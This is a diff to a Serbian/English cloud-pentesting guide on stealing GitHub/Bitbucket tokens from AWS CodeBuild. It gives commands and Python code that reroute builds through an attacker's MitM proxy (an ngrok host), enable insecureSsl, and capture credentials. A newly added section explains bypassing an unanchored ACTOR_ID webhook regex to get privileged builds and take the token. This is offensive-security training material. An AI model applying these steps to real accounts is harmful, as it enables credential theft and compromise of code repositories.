diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 2df90e5d7..3956035a0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,47 +2,47 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Oporavak konfigurisanih tokena za Github/Bitbucket +## Provera Github/Bitbucket konfigurisanih Tokens -Prvo, proverite da li postoje bilo akreditivi izvora koji su konfigurirani koje biste mogli da iscurite: +Prvo proveri da li postoje source credentials koji su konfigurisani i koje bi mogao leak: ```bash aws codebuild list-source-credentials ``` -### Putem Docker slike +### Putem Docker Image -Ako otkrijete da je autentifikacija na primer za Github postavljena u nalogu, možete **izvršiti** tu **pristup** (**GH token ili OAuth token**) tako što ćete naterati Codebuild da **koristi specifičnu docker sliku** za pokretanje izgradnje projekta. +Ako otkrijete da je autentifikacija, na primer prema Github-u, podešena na nalogu, možete **exfiltrate** taj **access** (**GH token or OAuth token**) tako što ćete naterati Codebuild da **use an specific docker image** za pokretanje build-a projekta. -U tu svrhu možete **napraviti novi Codebuild projekat** ili promeniti **okruženje** postojećeg da postavite **Docker sliku**. +Za ovu namenu možete **create a new Codebuild project** ili promeniti **environment** postojećeg da podesite **Docker image**. -Docker slika koju možete koristiti je [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Ovo je vrlo osnovna Docker slika koja će postaviti **env promenljive `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u **`https_proxy`** i **`http_proxy`** i verujete SSL CERT-u navedenom u **`SSL_CERT_FILE`**. +The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u **`https_proxy`** i **`http_proxy`** i da verujete SSL CERT navedenom u **`SSL_CERT_FILE`**. -1. **Kreirajte i otpremite svoju Docker MitM sliku** -- Pratite uputstva iz repozitorijuma da postavite svoju proxy IP adresu i postavite svoj SSL certifikat i **izgradite docker sliku**. -- **NE POSTAVLJAJTE `http_proxy`** da ne biste presreli zahteve ka metadata endpoint-u. -- Možete koristiti **`ngrok`** kao `ngrok tcp 4444` da postavite proxy na vaš host. -- Kada izgradite Docker sliku, **otpremite je na javni repozitorijum** (Dockerhub, ECR...) -2. **Postavite okruženje** -- Kreirajte **novi Codebuild projekat** ili **izmenite** okruženje postojećeg. -- Postavite projekat da koristi **prethodno generisanu Docker sliku**. +1. **Create & Upload your own Docker MitM image** +- Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**. +- **DO NOT SET `http_proxy`** kako ne bi presretao zahteve ka metadata endpoint-u. +- Možete koristiti **`ngrok`** kao `ngrok tcp 4444` da podesite proxy na vaš host +- Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...) +2. **Set the environment** +- Kreirajte **new Codebuild project** ili izmenite **environment** postojećeg. +- Set the project to use the **previously generated Docker image**
-3. **Postavite MitM proxy na vašem hostu** +3. **Set the MitM proxy in your host** -- Kao što je navedeno u **Github repozitorijumu**, možete koristiti nešto poput: +- As indicated in the **Github repo** you could use something like: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> Verzija **mitmproxy koja je korišćena je 9.0.1**, prijavljeno je da sa verzijom 10 ovo možda neće raditi. +> Korišćena je **mitmproxy verzija 9.0.1**, prijavljeno je da sa verzijom 10 ovo možda neće raditi. -4. **Pokrenite gradnju i zabeležite akreditive** +4. **Pokrenite build i presretnite kredencijale** - Možete videti token u **Authorization** header-u:
-Ovo se takođe može uraditi iz aws cli sa nečim poput +Ovo se takođe može uraditi iz aws cli naredbom poput ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` -### Via insecureSSL +### Putem insecureSSL -**Codebuild** projekti imaju podešavanje nazvano **`insecureSsl`** koje je skriveno na vebu i može se promeniti samo putem API-ja.\ -Omogućavanje ovoga omogućava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata** koji nudi platforma. +**Codebuild** projekti imaju podešavanje nazvano **`insecureSsl`** koje je skriveno u web interfejsu — možete ga promeniti samo preko API-ja.\ +Omogućavanje ovog podešavanja dozvoljava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata** koji nudi platforma. -- Prvo treba da enumerišete trenutnu konfiguraciju sa nečim poput: +- Prvo treba izlistati trenutnu konfiguraciju nečim poput: ```bash aws codebuild batch-get-projects --name ``` -- Zatim, sa prikupljenim informacijama možete ažurirati postavku projekta **`insecureSsl`** na **`True`**. Sledeći je primer mog ažuriranja projekta, obratite pažnju na **`insecureSsl=True`** na kraju (ovo je jedina stvar koju treba da promenite iz prikupljene konfiguracije). -- Pored toga, dodajte i env varijable **http_proxy** i **https_proxy** koje upućuju na vaš tcp ngrok kao: +- Zatim, sa prikupljenim informacijama možete ažurirati podešavanje projekta **`insecureSsl`** na **`True`**. U nastavku je primer mog ažuriranja projekta — obratite pažnju na **`insecureSsl=True`** na kraju (to je jedina stvar koju treba promeniti u odnosu na prikupljenu konfiguraciju). +- Pored toga, dodajte i env variables **http_proxy** i **https_proxy** koje usmerite na vaš tcp ngrok, na primer: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- Zatim pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu koji su označili proxy varijable (http_proxy i https_proxy) +- Zatim pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji pokazuju proxy promenljive (http_proxy i https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Na kraju, kliknite na **Build the project**, **akreditivi** će biti **poslati u čistom tekstu** (base64) na mitm port: +- Na kraju, kliknite na **Build the project**, **credentials** će biti **sent in clear text** (base64) na mitm port:
-### ~~Putem HTTP protokola~~ +### ~~Via HTTP protocol~~ -> [!TIP] > **Ova ranjivost je ispravljena od strane AWS-a u nekom trenutku tokom nedelje 20. februara 2023. (mislim u petak). Tako da napadač više ne može da je zloupotrebi :)** +> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)** -Napadač sa **povišenim dozvolama u CodeBuild-u mogao bi da iscuri Github/Bitbucket token** koji je konfigurisan ili ako su dozvole konfigurirane putem OAuth, **privremeni OAuth token koji se koristi za pristup kodu**. +An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**. -- Napadač bi mogao da doda promenljive okruženja **http_proxy** i **https_proxy** u CodeBuild projekat koje upućuju na njegovu mašinu (na primer `http://5.tcp.eu.ngrok.io:14972`). +- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
-- Zatim, promenite URL github repozitorijuma da koristi HTTP umesto HTTPS, na primer: `http://github.com/carlospolop-forks/TestActions` -- Zatim, pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu koji su označile proxy promenljive (http_proxy i https_proxy) +- Zatim promenite URL github repo-a da koristi HTTP umesto HTTPS, na primer: `http://github.com/carlospolop-forks/TestActions` +- Zatim pokrenite basic example sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu koji su pokazali proxy variables (http_proxy i https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Zatim kliknite na **Build the project** ili pokrenite build iz komandne linije: +- Zatim, kliknite na **Build the project** ili pokrenite build iz komandne linije: ```sh aws codebuild start-build --project-name ``` -- Na kraju, **akreditivi** će biti **poslati u čistom tekstu** (base64) na mitm port: +- Na kraju, **credentials** će biti **sent in clear text** (base64) poslati na mitm port:
> [!WARNING] -> Sada će napadač moći da koristi token sa svoje mašine, da izlista sve privilegije koje ima i (zlo)upotrebi lakše nego korišćenjem CodeBuild servisa direktno. +> Sada napadač može da iskoristi token sa svoje mašine, izlista sve privilegije koje poseduje i lakše ih zloupotrebi nego da direktno koristi servis CodeBuild. + +## Zaobilaženje allowliste ACTOR_ID regex-a webhook filtera (PR-om pokrenuti privilegovani build-ovi) + +Pogrešno konfigurisani CodeBuild GitHub webhooks koji koriste neukotvljene `ACTOR_ID` regex-e omogućavaju *nepouzdanim* PR-ovima da pokrenu privilegovane build-ove. Ako je allowlist kao `123456|7890123` bez `^`/`$`, svaki ID koji sadrži jedan od tih podnizova se podudara. Pošto su GitHub user ID-jevi sekvencijalni, napadač može da se potrudi da registruje “eclipsing” ID (superstring poverenog ID-ja) i da pokrene build. + +Putanja exploita + +1. Pronađite javne CodeBuild projekte koji izlažu webhook filtere i izdvojite neukotvljenu `ACTOR_ID` allowlistu. +2. Nabavite eclipsing GitHub ID: +- Izmerite globalni brojač ID-eva kreiranjem/brisanja GitHub organizacija (org IDs dele isti pool). +- Pre-stage-ujte veliki broj kreiranja GitHub App manifest-a i aktivirajte confirmation URL-ove kada je brojač unutar ~100 ID-eva od cilja da biste brzo registrovali bot ID koji sadrži povereni podniz. +3. Otvorite PR sa eclipsing naloga; regex će poklopiti podniz i privilegovani build će se pokrenuti. +4. Iskoristite build RCE (npr. dependency install hooks) da ispraznite memoriju procesa koja rukuje GitHub credential-om i povratite PAT/OAuth token. +5. Sa tokenom koji ima `repo` scope, pozovite svoj nalog kao collaborator/admin i push-ujte/approve-ujte zlonamerne commit-ove ili eksfiltrujte tajne. + +## References +- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) {{#include ../../../../banners/hacktricks-training.md}}